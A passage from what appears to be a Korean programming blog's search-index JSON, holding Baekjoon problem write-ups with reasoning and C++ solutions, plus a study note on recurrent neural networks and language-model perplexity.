보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-05T00:00:00Z","permalink":"/posts/algorithm/ps/260205_algorithm_boj-28433-%EA%B2%8C%EB%A6%AC%EB%A7%A8%EB%8D%94%EB%A7%81/","title":"BOJ 28433 게리맨더링"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/18830 🧐 관찰 및 접근 11차원인게 조금 이슈이므로, 간단하게 3차원정도로 생각해보자. 2차원이면 그냥 누적합 배열에서 $S(a_2, b_2) - S(a_1, b_2) - S(a_2, b_1) + S(a_1, b_1)$이었던 것이 기억난다. $a_1, b_1, c_1, a_2, b_2, c_2$가 주어진다. $a_1 \\leq \\alpha \\leq a_2, b_1 \\leq \\beta \\leq b_2, c_1 \\leq \\gamma \\leq c_2$ 인 어쩌구에 대해 합을 출력한다. 이를 누적합으로 생각하면, $S(a_2, b_2, c_2) - S(a_1, b_2, c_2) - S(a_2, b_1, c_2) - S(a_2, b_2, c_1) + S(a_1, b_1, c_2) + S(a_1, b_2, c_1) + S(a_2, b_1, c_1) - S(a_1, b_1, c_1)$ 인 것 같다! 아님말고 암튼 $n$차원일때 누적합 배열을 구해둔다면 $2^n$의 시간복잡도로 계산할 수 있는 것 같다. 쿼리가 4만개이므로 $40000 * 2048 = 81920000$이므로 충분히 돌 것 같다. 그런데 누적합 배열을 만드는게 $O(2^n * mno...w)$ 라서 이게 20억인데\u0026hellip; 포함배제로 구하지 말고, 차원에 대해서 구하고 밀어버리자. 💻 풀이 코드 (C++): const int cdim = 11; using v11 = array\u0026lt;int, cdim\u0026gt;; v11 dim, sz; int totSz; vector\u0026lt;ll\u0026gt; A, pfsum; int point_to_idx(const v11 \u0026amp;point){ int idx = 0; rep(d, 0, cdim) idx += point[d] * sz[d]; return idx; } vector\u0026lt;ll\u0026gt; make_prefix_sum(int cd = 0, v11 cp = {}){ vector\u0026lt;ll\u0026gt; res; if(cd == cdim){ int idx = point_to_idx(cp); res.push_back(A[idx]); return res; } rep(i, 0, dim[cd]){ cp[cd] = i; vector\u0026lt;ll\u0026gt; tmp = make_prefix_sum(cd+1, cp); if(res.empty()) res = tmp; else{ rep(j, 0, tmp.size()) res.push_back(res[(i-1) * sz[cd] + j] + tmp[j]); } } cp[cd] = 0; return res; } void solve(){ rep(i, 0, cdim) cin \u0026gt;\u0026gt; dim[i]; sz[cdim-1] = 1; rrep(d, cdim-1, 0) sz[d] = sz[d+1] * dim[d+1]; totSz = sz[0] * dim[0]; A.resize(totSz); pfsum.resize(totSz, 0); rep(i, 0, totSz) cin \u0026gt;\u0026gt; A[i]; pfsum = make_prefix_sum(); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ v11 L, R; rep(d, 0, cdim) cin \u0026gt;\u0026gt; L[d]; rep(d, 0, cdim) cin \u0026gt;\u0026gt; R[d]; rep(d, 0, cdim) L[d]--, R[d]--; ll ans = 0; rep(mask, 0, (1\u0026lt;\u0026lt;cdim)){ v11 point = R; bool add = true, flag = true; rep(d, 0, cdim) if(mask \u0026amp; (1\u0026lt;\u0026lt;d)){ point[d] = L[d]-1; add = !add; if(point[d] \u0026lt; 0){ flag = false; break; } } if(!flag) continue; int idx = point_to_idx(point); if(add) ans += pfsum[idx]; else ans -= pfsum[idx]; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-04T00:00:00Z","permalink":"/posts/algorithm/ps/260204_algorithm_boj-18830-%ED%95%98%EC%9D%B4%ED%8D%BC-%EC%88%98%EC%97%B4%EA%B3%BC-%ED%95%98%EC%9D%B4%ED%8D%BC-%EC%BF%BC%EB%A6%AC/","title":"BOJ 18830 하이퍼 수열과 하이퍼 쿼리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/24452 번역 문제 번역 JOI 연방국에는 1부터 N까지 번호가 매겨진 N개의 도시와, 1부터 M까지 번호가 매겨진 M개의 도로가 있다. 도로 i (1 ≦ i ≦ M)는 도시 Ui와 도시 Vi를 양방향으로 연결하고 있다.\nJOI 연방국은 1부터 K까지 번호가 매겨진 K개의 주(州)로 이루어져 있다. 도시 j (1 ≦ j ≦ N)는 주 Sj에 속해 있다. 또한, 모든 주는 적어도 하나의 도시를 포함한다.\nJOI 연방국의 산업부 장관인 K 이사장은 앞으로 Q번의 교역을 진행하고자 한다. k번째 교역 (1 ≦ k ≦ Q)은 도시 Ak에서 도시 Bk까지 몇 개의 도로와 도시를 거쳐 특산품을 운송하는 것이다. 단, 이 교역에 협력해주는 곳은 주 SAk와 주 SBk만이며 (SAk = SBk인 경우는 주 SAk만), 이들 주에 속하지 않은 도시를 거치면 특산품을 도둑맞게 된다.\nK 이사장은 특산품을 도둑맞지 않고 교역을 수행할 수 있는 운송 경로가 있는지 알아보고 싶어 한다. 도시와 도로의 배치, 주와 교역의 정보가 주어졌을 때, 각 교역에 대해 특산품을 무사히 전달할 수 있는지 판정하는 프로그램을 작성하라.\n입력 입력은 다음 형식으로 표준 입력에서 주어진다.\nN M K U1 V1 U2 V2 : UM VM S1 S2 … SN Q A1 B1 A2 B2 : AQ BQ 첫 번째 줄: 도시의 수 N, 도로의 수 M, 주의 수 K 다음 M개 줄: 각 도로가 연결하는 두 도시의 번호 Ui, Vi 다음 줄: 각 도시가 속한 주의 번호 S1, S2, …, SN 다음 줄: 교역 횟수 Q 다음 Q개 줄: 각 교역의 출발 도시 Ak와 도착 도시 Bk 출력 표준 출력에 Q개의 줄로 출력한다. k번째 줄 (1 ≦ k ≦ Q)에는 k번째 교역에서 특산품을 전달할 수 있으면 1을, 불가능하면 0을 출력한다.\n🧐 관찰 및 접근 무향 그래프와 정점에 $S_j$값이 주어진다. $S_i \\in \\{S_{A_K}, S_{B_K}\\}$의 정점만을 이용해서$A_K, B_K$ 사이를 왕복할 수 있을까? 에? 걍 유니온파인드로 묶어서 컴포넌트 하나로 생각하고, 사이에 간선이 있는지 보면 되나? 아, 각 $S$에 대해 컴포넌트가 하나가 아닐 수도 있다. 케이스를 나눠보자. $\\text{Case 1:} \\, {S_{A_k} = S_{B_k}}$ 이미 돌린 유파에서 같은 그룹이면 1, 아니면 0이다. $Case 2: {S_{A_k} \\ne S_{B_k}}$ $(u, v) \\in E, S_u = S_{A_k}, S_v = S_{B_k}$인 간선만 추가하면 되는데\u0026hellip; $S_A, S_B$집합이 둘다 컴포넌트가 여러개고 지그재그로 들어가면 조금 곤란해진다. 근데 생각보다 이 경우의 수가 결국 $M$에 바운드 되니까 쿼리 캐싱만 하면 될거같기도? 기준은 $S$임에 주의할것. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; edges.push_back({u, v}); } rep(i, 0, N) cin \u0026gt;\u0026gt; S[i]; UnionFind UF(N); for(auto [u, v]: edges) if(S[u] == S[v]) UF.merge(u, v); for(auto [u, v]: edges) if(S[u] != S[v]){ int pu = UF.find(u); int pv = UF.find(v); if(pu \u0026gt; pv) swap(pu, pv); edges2[{min(S[pu], S[pv]), max(S[pu], S[pv])}].push_back({pu, pv}); } for(auto \u0026amp;[key, vec] : edges2){ sort(all(vec)); vec.erase(unique(all(vec)), vec.end()); } int Q; cin \u0026gt;\u0026gt; Q; vector\u0026lt;pair\u0026lt;pii, array\u0026lt;int, 3\u0026gt;\u0026gt;\u0026gt; Query; // {{Su, Sv}, {u, v, idx}} rep(i, 0, Q){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; u = UF.find(u); v = UF.find(v); if(u \u0026gt; v) swap(u, v); Query.push_back({{min(S[u], S[v]), max(S[u], S[v])}, {u, v, i}}); } sort(all(Query)); vector\u0026lt;int\u0026gt; ans(Q, 0); UnionFind UF2(N); vector\u0026lt;int\u0026gt; used; rep(q, 0, Q){ if(q \u0026gt; 0 \u0026amp;\u0026amp; Query[q].first == Query[q-1].first){ auto [u, v, idx] = Query[q].second; if(UF2.find(u) == UF2.find(v)) ans[idx] = 1; continue; } for(auto x: used) UF2.par[x] = x; used.clear(); auto [Su, Sv] = Query[q].first; for(auto [u, v]: edges2[{Su, Sv}]){ if(UF2.merge(u, v)){ used.push_back(u); used.push_back(v); } } auto [u, v, idx] = Query[q].second; if(UF2.find(u) == UF2.find(v)) ans[idx] = 1; } rep(i, 0, Q) cout \u0026lt;\u0026lt; ans[i] \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-04T00:00:00Z","permalink":"/posts/algorithm/ps/260204_algorithm_boj-24452-%E4%BA%A4%E6%98%93%E8%A8%88%E7%94%BB-trade-plan/","title":"BOJ 24452 交易計画 (Trade Plan)"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/28068 🧐 관찰 및 접근 지금 어떤 책을 읽을 수 있고, $a_k \u003c= b_k$라면, 읽지 않을 이유가 없다. 나머지 $a_k \u003e b_k$들인 책들은 어차피 읽을수록 즐거움이 감소만 하므로, $a_k$가 큰거부터 차례대로 읽으면 되지 않을까? 어떻게 그리디하게 가야하지? 두 책 $i, j$가 있다고 해보자. 이때, 두 책을 $i \\rightarrow j$로 읽기 위해선 $F \\geq a_i$ $F - a_i + b_i \\geq a_j \\rightarrow F \\geq a_i + a_j - b_i$ 따라서 $F \\geq \\max(a_i, a_i + a_j - b_i) = \\text{Cost}_{i \\rightarrow j}$ 같은 방식으로, $j \\rightarrow i$로 읽기 위해선 $F \\geq \\max(a_j, a_i + a_j - b_j) = \\text{Cost}_{j \\rightarrow i}$ 이 때, $b_i \\geq b_j$라고 가정하자. $a_i \u003c a_i + (a_j - b_j)$ $a_i + a_j - b_i \\leq a_i + a_j - b_j$ 이 두 식이 성립하므로, 언제나 $\\text{Cost}_{i \\rightarrow j} \\leq \\text{Cost}_{j \\rightarrow i}$ 따라서 $b$의 내림차순으로 정렬 후 그리디가 성립한다. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;pii\u0026gt; v1, v2; rep(i, 0, N){ int a, b; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; if(a \u0026lt;= b) v1.push_back({a, b}); else v2.push_back({a, b}); } sort(all(v1)); sort(all(v2), [](pii \u0026amp;p1, pii \u0026amp;p2){ return p1.second \u0026gt; p2.second; }); ll cur = 0; for(auto \u0026amp;p: v1){ if(cur \u0026lt; p.first){ cout \u0026lt;\u0026lt; 0; return; } cur -= p.first; cur += p.second; } for(auto \u0026amp;p: v2){ if(cur \u0026lt; p.first){ cout \u0026lt;\u0026lt; 0; return; } cur -= p.first; cur += p.second; } cout \u0026lt;\u0026lt; 1; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-04T00:00:00Z","permalink":"/posts/algorithm/ps/260204_algorithm_boj-28068-i-am-knowledge/","title":"BOJ 28068 I Am Knowledge"},{"content":"📝 상세 정리 지금까지 살펴본 신경망은 피드포워드 유형의 신경망이다. 이는 흐름이 단방향인 신경망을 말한다. 하지만 이에는 시계열 데이터를 잘 다루지 못한다는 단점이 있는데\u0026hellip; 따라서 여기서 순환 신경망이 등장한다. 5.1 확률과 언어 모델 5.1.1 word2vec을 확률 관점에서 바라보다 $t$번째 단어를 타깃으로, 그 전후 단어를 맥락으로 취급해보자. CBOW모델은 $w_{t-1}, w_{t+1}$로부터 $w_t$를 추측하는 일을 수행할 것이다. 이 확률을 수식으로, $P(w_t | w_{t-1}, w_{t+1})$ 로 나타낼 수 있겠다. 그런데, 맥락이 좌우대칭이 아니어도 되지 않나? $P(w_t | w_{t-1}, w_{t-2})$같은걸 생각해보자. 이걸 어따 써먹지? 5.1.2 언어 모델 언어 모델은 단어 나열에 확률을 부여한다. 단어 $w_1, w_2, \\cdots , w_m$이 있다고 해보자. 이들이 순서대로 출연할 확률은 $P(w_1, \\cdots, w_m)$이다. 이는 분해해서 다음과 같이 쓸 수 있다. $P(w_1, \\cdots, w_m) = P(w_m | w_1, \\cdots, w_{m-1}) \\cdots P(w_2 | w_1) P(w_1)$ 5.1.3 CBOW 모델을 언어 모델로? $P(w_1, \\cdots, w_m) = \\prod\\limits_{t = 1}^mP(w_t|w_1, \\cdots, w_{t-1} \\approx \\prod\\limits_{t = 1}^mP(w_t | w_{t-2}, w_{t-1})$ 맥락을 두개 단어로 한정! 이를 2층 마르코프 연쇄라고도 볼 수 있겠다. 하지만 고정 길이의 한계로, 대답하기 곤란한 문장들이 생긴다. Tom was watching TV in his room. Mary came in to the room. Mary saind hi to $w$ 또한, 은닉층에서 평균내는 특징상 단어 순서가 무시된다. 그렇다면 평균내지 말고 은닉층에서 연결해볼까\u0026hellip;? 그러면 맥락의 크기에 비례해 매개변수가 너무 커진다. 5.2 RNN이란 Recurrent Neural Network 재발하다 / 주기적으로 일어나다 / 순환하다라는 뜻 5.2.1 순환하는 신경망 순환하다? 반복해서 되돌아가다? 이를 위해선 어떤 닫힌 경로가 필요하다. 이때 $x_t$를 입력 받는데, $t$는 시각을 의미한다. $x_t$는 벡터이다. 예를 들어 문장 (단어 순서)를 다루는 경우 각 단어의 분산 표현(단어 벡터)가 $x_t$가 된다. 이것이 순서대로 하나씩 RNN에 입력되는 것. 위의 순환 과정을 펼치면 다음과 같다. 이제 여태까지의 피드포워드 신경망과 비슷하게 보인다! 하지만, 이제는 다수의 RNN계층 모두가 실제로는 같은 계층이라는 차이가 있다. 이 계산의 수식은 다음고 같다. $h_t = tanh(h_{t-1}W_h + x_t W_x + b)$ $x$를 $h$로 변환하기 위한 가중치 $W_x$ RNN 출력을 다음 시각의 출력으로 변환하기 위한 가중치 $W_h$ 편향 $b$ 세가지가 존재한다. 행렬 곱을 계산하고, 그 합을 계산해서 쌍곡탄젠트함수를 먹인다. 그 결과가 시각 $t$의 출력 $h_t$가 된다. 이는 다른 계층을 향해 위쪽으로 출력되는 동시에, 다음 시각의 RNN계층을 향해 오른쪽으로도 출력된다. $h_t$는 $h_{t-1}$에 의해 계산되므로, RNN 계층을 상태를 가지는 계층, 혹은 메모리가 있는 계층이라고 한다. 5.2.3 BPTT 순환 구조에서도 똑같이 오차역전파법을 수행할 수 있다. 이를 시간 방향으로 펼친 신경망의 오차역 전파법이란 뜻으로 BPTT(BackPropagation Through Time) 라고 한다. 하지만 시계열 데이터의 시간 크기가 커지는것에 비례해서 BPTT가 소비하는 컴퓨팅 자원이 늘어난다는 단점이 있다\u0026hellip; 기울기도 불안정해지고 5.2.4 Truncated BPTT 큰 시계열 데이터를 처리할때는 신경망 연결을 적당한 길이로 끊자. 작은 신경망 여러개로 만들자! 이것을 Truncated BPTT라고 한다. 사실 제대로 구현하려면, 순전파는 그대로 두고 역전파만 끊어야 한다. 그리고 그 잘린 단위로 학습 1000개 깊이의 RNN계층이라도 10개단위로 학습하도록 이렇게 자를 수 있다! 이 하나의 단위를 블록이라고 하자. 5.2.5 Truncated BPTT의 미니배치 학습 두번째 미니배치를 학습 넣을 때 데이터를 시작 위치로 옮겨서 다시 순서대로 데이터를 제공해야 한다. 5.3 RNN 구현 구현구현 5.4 시계열 데이터 처리 계층 구현 구현구현 5.5 RNNLM 학습과 평가 5.5.1 RNNLM 구현 5.5.2 언어 모델의 평가 언어 모델의 예측 성능을 평가하는 척도로 퍼플렉서타를 이용한다. Perplexity, 혼란도 이는 확률의 역수값 이는 직관적으로 분기 수로 해석할 수 있다. 입력데이터가 여러개라면? $L = -\\frac{1}{N}\\sum\\limits_{n}\\sum\\limits_{k}t_{nk}\\log y_{nk}$ $\\text{perplexity} = e^L$ 5.6 정리 이번 장의 주제는 순환 신경망 이를 이용해 데이터를 순환시켜서, 과거 -\u0026gt; 현재 -\u0026gt; 미래로 데이터를 흘려보낸다. 이를 이용해서 언어 모델을 만들었고, 이는 단어 시퀀스에 확률을 부여하고 다음에 출연할 단어의 확률을 계산한다. 이론적으로는 아무리 긴 시계열 데이터라도 RNN의 은닉상태에 정보를 기억하게 할 수 있지만, 실제로는 잘 학습하지 못하는 경우가 많다. 다음장에서 LSTM, GRU등을 알아보겠다. ❔질문 사항 미니배치를 만들 때, 문장의 시작이 아닐 때도 있지 않을까? 그러니까, 미니배치에 넣기 좋게 문장이 생긴 데이터가 아닐 경우가 더 많을 것 같은데\u0026hellip; 🔗 참고 자료 ","date":"2026-02-03T00:00:00Z","permalink":"/posts/books/deep-learning-from-scratch-2/260203_til_%EB%B0%91%EB%B0%94%EB%8B%A5%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EB%8A%94-%EB%94%A5%EB%9F%AC%EB%8B%9D-2-5%EC%9E%A5/","title":"5장"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/20136 🧐 관찰 및 접근 그리디하게, 뽑아야할때 곧 쓸만한걸 남기고, 나중에 쓸만한걸 뽑으면 되지 않을까? 증명해보자. 현재 $N$개의 구멍이 꽉차있고, $A$를 새로 꽂아야한다고 가정하자. 가장 나중에 쓰는걸 뽑는 전략 $G$가 있고, 어떤 최적의 전략 $Opt$가 있다고 가정하자. 이제 $G$가 $Opt$보다 나쁘지 않음을 보이면 된다. 어느 순간, $A$를 꽂기 위해 $G$는 $X$를, $Opt$는 $Y$를 뽑았다. 이때, 이후에 $X$가 먼저 등장한다면, $G$는 한번 더 뽑/꼽을 수행해야하고, $Opt$는 아니다. $Y$가 먼저 등장했다면, $Opt$는 뽑/꼽을 수행해야 하고, $G$는 아니다. 그런데, $G$의 전략 특성상 $Y$보다 $X$가 늦게 등장해야하므로, 언제나 $Opt$보다 $G$가 나쁘지 않다. 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;queue\u0026lt;int\u0026gt;\u0026gt; nxt(K+1); vector\u0026lt;int\u0026gt; A(K); rep(i, 0, K) cin \u0026gt;\u0026gt; A[i]; rep(i, 0, K) nxt[A[i]].push(i); rep(i, 1, K+1) nxt[i].push(1e9); set\u0026lt;pii\u0026gt; st; // (nxt use, val) vector\u0026lt;bool\u0026gt; inuse(K+1, false); int ans = 0; rep(i, 0, K){ int val = A[i]; if(inuse[val]){ // 이미 꽂혀있다면 st.erase({i, val}); } // 꽂혀있지 않다면 else if((int)st.size() \u0026lt; N){ // 남은 자리가 있으면 inuse[val] = true; } else{ // 남은 자리가 없으면 ans++; pii old = *st.rbegin(); st.erase(old); inuse[old.second] = false; inuse[val] = true; } nxt[val].pop(); if(!nxt[val].empty()) st.insert({nxt[val].front(), val}); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-03T00:00:00Z","permalink":"/posts/algorithm/ps/260203_algorithm_boj-20136-%EB%A9%80%ED%8B%B0%ED%83%AD-%EC%8A%A4%EC%BC%80%EC%A4%84%EB%A7%81-2/","title":"BOJ 20136 멀티탭 스케줄링 2"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/28448 🧐 관찰 및 접근 한 문제당 광기는 $KT$만큼 쌓이고, 해결했을때 $\\text{min}(KT, 5K)$만큼 빠지므로 $T \\leq 5$라면 문제를 푸는데 광기가 안쌓인다. 어라? 아니네. $KT \\leq L$ 조건도 필요하다. 아 이건 문제조건에 있네. 암튼 이 친구들은 어차피 T시간 걸려서 풀기만 하면 상관이 없다. 나머지 문제들에 대해, 어차피 문제를 풀어서 쌓이는 광기의 합은 일정하다. 그러니까, 문제를 해결해서 광기를 줄이는걸 힘내야하지 않을까? 그러면 광기를 많이 해소할 수 있는 문제를 먼저 풀어야하는 거 같은데\u0026hellip; 💻 풀이 코드 (C++): void solve(){ ll N, L; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; L; vector\u0026lt;pll\u0026gt; v; ll ans = 0; rep(i, 0, N){ ll K, T; cin \u0026gt;\u0026gt; K \u0026gt;\u0026gt; T; ans += T; if(T \u0026lt;= 5) continue; v.push_back({K, T}); } sort(all(v), [](pll a, pll b){ return min(a.first * a.second, 5 * a.first) \u0026gt; min(b.first * b.second, 5 * b.first); }); ll cur = 0; for(auto [K, T]: v){ if(cur + K*T \u0026gt; L){ ll rest = cur + K*T - L; ans += rest; cur -= rest; } cur += K*T; cur -= min(K*T, 5*K); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-03T00:00:00Z","permalink":"/posts/algorithm/ps/260203_algorithm_boj-28448-%EA%B4%91%EA%B8%B0%EC%9D%98-ps/","title":"BOJ 28448 광기의 PS"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/31055 번역 문제 번역 Bessie는 수학 지식을 향상시키기 위해 그래프 이론 강좌를 수강하고 있는데, 다음 문제에서 막혔습니다. 그녀를 도와주세요!\n연결된 무방향 그래프가 주어집니다. 정점은 $1\\dots N$으로, 간선은 $1\\dots M$으로 라벨링되어 있습니다 ($2\\le N\\le 2\\cdot 10^5$, $N-1\\le M\\le 4\\cdot 10^5$).\n그래프의 각 정점 $v$에 대해 다음 과정을 수행합니다:\n$S=\\{v\\}$, $h=0$으로 설정합니다. $|S|","date":"2026-02-03T00:00:00Z","permalink":"/posts/algorithm/ps/260203_algorithm_boj-31055-a-graph-problem/","title":"BOJ 31055 A Graph Problem"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/18180 번역 문제 번역 바이킹 락 운동에는 다양한 흐름이 존재한다. 올드 아이슬란드 그래니트 락, 미들 데니쉬 더스티 바이킹 락, 레이트 핀게일 다크 그린 락, 피오르드 볼더 아발란체 락 등, 인기 있는 흐름의 전체 목록을 나열하면 이 페이지를 여러 번 가득 채울 정도이다. 스칸디나비아 고등교육부는 이러한 흐름들이 서로 어떻게 영향을 주는지 연구하고 있다. 그들은 현재 대규모 실험을 계획 중이며, 적절히 선발된 자원봉사자들을 무인도들로 구성된 군도에 배치하여 상대적으로 긴 시간 동안 그들의 음악적 스타일과 선호도가 서로 미치는 영향을 관찰하고자 한다.\n동일한 섬에 사는 사람들은 항상 서로 영향을 미친다. 일부 섬 쌍은 거리가 충분히 가까워 직접적인 영향이 가능하지만, 다른 섬 쌍은 거리가 멀어 직접적인 영향이 불가능하다. 후자의 경우에도, 영향력을 전달할 수 있는 하나 이상의 다른 거주 중인 섬이 있다면 간접적으로 영향을 주고받을 수 있다.\n자원봉사자들을 섬에 배치하는 여러 제안들이 있다. 각 제안에 대해 교육부는 군도에 형성될 독립적인 거주자 그룹의 수를 알고 싶어 한다. 하나 이상의 섬을 차지하는 두 거주자 그룹은, 간접적인 방식을 포함하여 상호 영향의 가능성이 전혀 없을 때 독립적이라고 간주한다.\n교육부의 제안 평가를 도와라.\n입력 첫 번째 줄에 세 정수 $N, E, P$ ($1 \\le N \\le 10^5, 0 \\le E \\le 10^5, 1 \\le P \\le 10^5$)가 주어진다. $N$은 군도의 섬 개수, $E$는 직접적인 영향이 가능한 섬 쌍의 개수, $P$는 평가할 제안의 개수이다. 섬은 1부터 $N$까지 번호가 매겨져 있다.\n다음 $E$개의 줄에는 직접적인 상호 영향이 가능한 두 섬의 번호 $A, B$가 주어진다. 동일한 섬 쌍은 중복해서 주어지지 않는다.\n다음 $P$개의 줄에는 각 제안의 정보가 주어진다. 각 줄은 해당 제안에서 사람이 거주하는 섬의 개수 $M$ ($1 \\le M \\le N$)으로 시작하며, 이어서 서로 다른 $M$개의 섬 번호가 주어진다. 그 외의 섬에는 사람이 살지 않는다.\n모든 제안의 $M$값의 총합은 $10^5$을 넘지 않는다.\n출력 각 제안에 대해, 형성되는 독립적인 그룹의 수를 각 줄에 출력한다.\n🧐 관찰 및 접근 어떤 무향 그래프가 있고, 각 쿼리가 살아있는 정점만을 말할때 컴포넌트의 개수 구하기 온라인 단절점? ㅋㅋ는 미친거같고 각 정점에 대해 오프라인 쿼리\u0026hellip;도 까다롭다. 어떤 제안들에 대해 살아있는 정점을 증가하게 만들 수 있다면? 그런것들은 한번에 처리해도 된다. 그데 그러면 문제가 되는상황은.. $(1, 2, 3, 4, 5, 6, 7, 8, 9)$ $(1, 2, 3, 4, 5, 6, 7, 8, 10)$ $(1, 2, 3, 4, 5, 6, 7, 8, 11)$ 이런식으로 있으면 재활용을 하기가 상당히 곤란한 문제가\u0026hellip; 유파 롤백같은걸로 하면 되긴 하는데, 그러면 집합들을 어떻게 묶어줘야 하지? 어떤 순서로 처리해야 하지? 나이브하게 한다고 생각해보자. 결국 쿼리 하나당 $u \\in P$에 대해, $\\sum \\text{deg}(u)$ 만큼의 시간복잡도가 걸린다. 그러니까, $\\text{deg}(u)$만 작으면 문제가 없는데.. $\\text{deg}(u)$는 얼마나 클 수 있을까? $E \\leq 10^5$이므로, $\\text{deg}(u)$가 충분히 큰 정점 $u$가 많기는 어렵다. $deg(u) \\times k \\leq 10^5$ 여야 하므로! 따라서, 루트질을 시도해볼 수 있겠다. 간선이 많은 정점들에 대해서는 간선이 아닌 쿼리 내 정점들을 둘러보자. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; E \u0026gt;\u0026gt; P; rep(i, 0, E){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } rep(i, 1, N+1){ links[i].push_back(N+1); sort(all(links[i])); } rep(i, 1, N+2) toIdx[i] = -1; while(P--){ int cnt; cin \u0026gt;\u0026gt; cnt; vector\u0026lt;int\u0026gt; island(cnt); rep(i, 0, cnt) cin \u0026gt;\u0026gt; island[i]; int idx = 0; for(auto x: island) toIdx[x] = idx++; UnionFind UF(cnt); vector\u0026lt;int\u0026gt; skipped, hubo; for(auto u: island){ if(links[u].size() \u0026lt; sq){ for(auto v: links[u]) if(toIdx[v] != -1) UF.merge(toIdx[u], toIdx[v]); } else skipped.push_back(u); } for(auto x: island) if(UF.find(toIdx[x]) == toIdx[x]) hubo.push_back(x); for(auto u: skipped) for(auto v: hubo) if(*(lower_bound(all(links[u]), v)) == v){ UF.merge(toIdx[u], toIdx[v]); } cout \u0026lt;\u0026lt; UF.group \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; for(auto x: island) toIdx[x] = -1; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-02T00:00:00Z","permalink":"/posts/algorithm/ps/260202_algorithm_boj-18180-saba1000kg/","title":"BOJ 18180 Saba1000kg"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/21932 번역 문제 번역 문제 설명 무방향 그래프가 주어지고, 각 노드에는 양의 정수 값이 연결되어 있습니다. 임계값(threshold)이 주어지면, 그래프의 노드들은 두 그룹으로 나뉩니다: 하나는 임계값 이하의 값을 가진 노드들로 구성되고, 다른 하나는 나머지 노드들로 구성됩니다. 이제 서로 다른 그룹에 속한 두 노드를 연결하는 모든 간선을 제거하여 얻은 원래 그래프의 부분 그래프를 고려합니다. 두 노드 그룹이 모두 비어있지 않을 때, 주어진 그래프가 연결되어 있는지 여부와 관계없이 결과 부분 그래프는 연결이 끊어집니다.\n그런 다음 부분 그래프를 연결되게 만들기 위해 여러 개의 새로운 간선이 추가되지만, 이 간선들은 반드시 서로 다른 그룹의 노드들을 연결해야 하며, 각 노드는 최대 하나의 새로운 간선과만 연결될 수 있습니다. 임계값이 실행 가능(feasible) 하다는 것은 두 그룹 모두 비어있지 않고, 새로운 간선들을 추가하여 부분 그래프를 연결되게 만들 수 있다는 의미입니다.\n여러분의 과제는 최소 실행 가능 임계값을 찾는 것입니다.\n입력 입력은 다음 형식의 단일 테스트 케이스로 구성됩니다.\nn m l1 . . . ln x1 y1 . . . xm ym 첫 번째 줄에는 두 정수 $n (2 ≤ n ≤ 10⁵)$과 $m (0 ≤ m ≤ min(10⁵, n(n−1)/2))$이 주어지며, 각각 그래프의 노드 개수와 간선 개수를 나타냅니다. 노드는 1부터 n까지 번호가 매겨집니다. 두 번째 줄에는 $n$개의 정수 $l_i (1 ≤ l_i ≤ 10⁹)$가 주어지며, 노드 $i$에 연결된 값이 $l_i$임을 의미합니다. 이후 $m$개의 줄 각각에는 두 정수 $x_j$와 $y_j$ $(1 ≤ x_j \u003c y_j ≤ n)$가 주어지며, 노드 $x_j$와 $y_j$를 연결하는 간선이 있음을 의미합니다. 임의의 두 노드 사이에는 최대 하나의 간선만 존재합니다.\n출력 최소 실행 가능 임계값을 출력합니다. 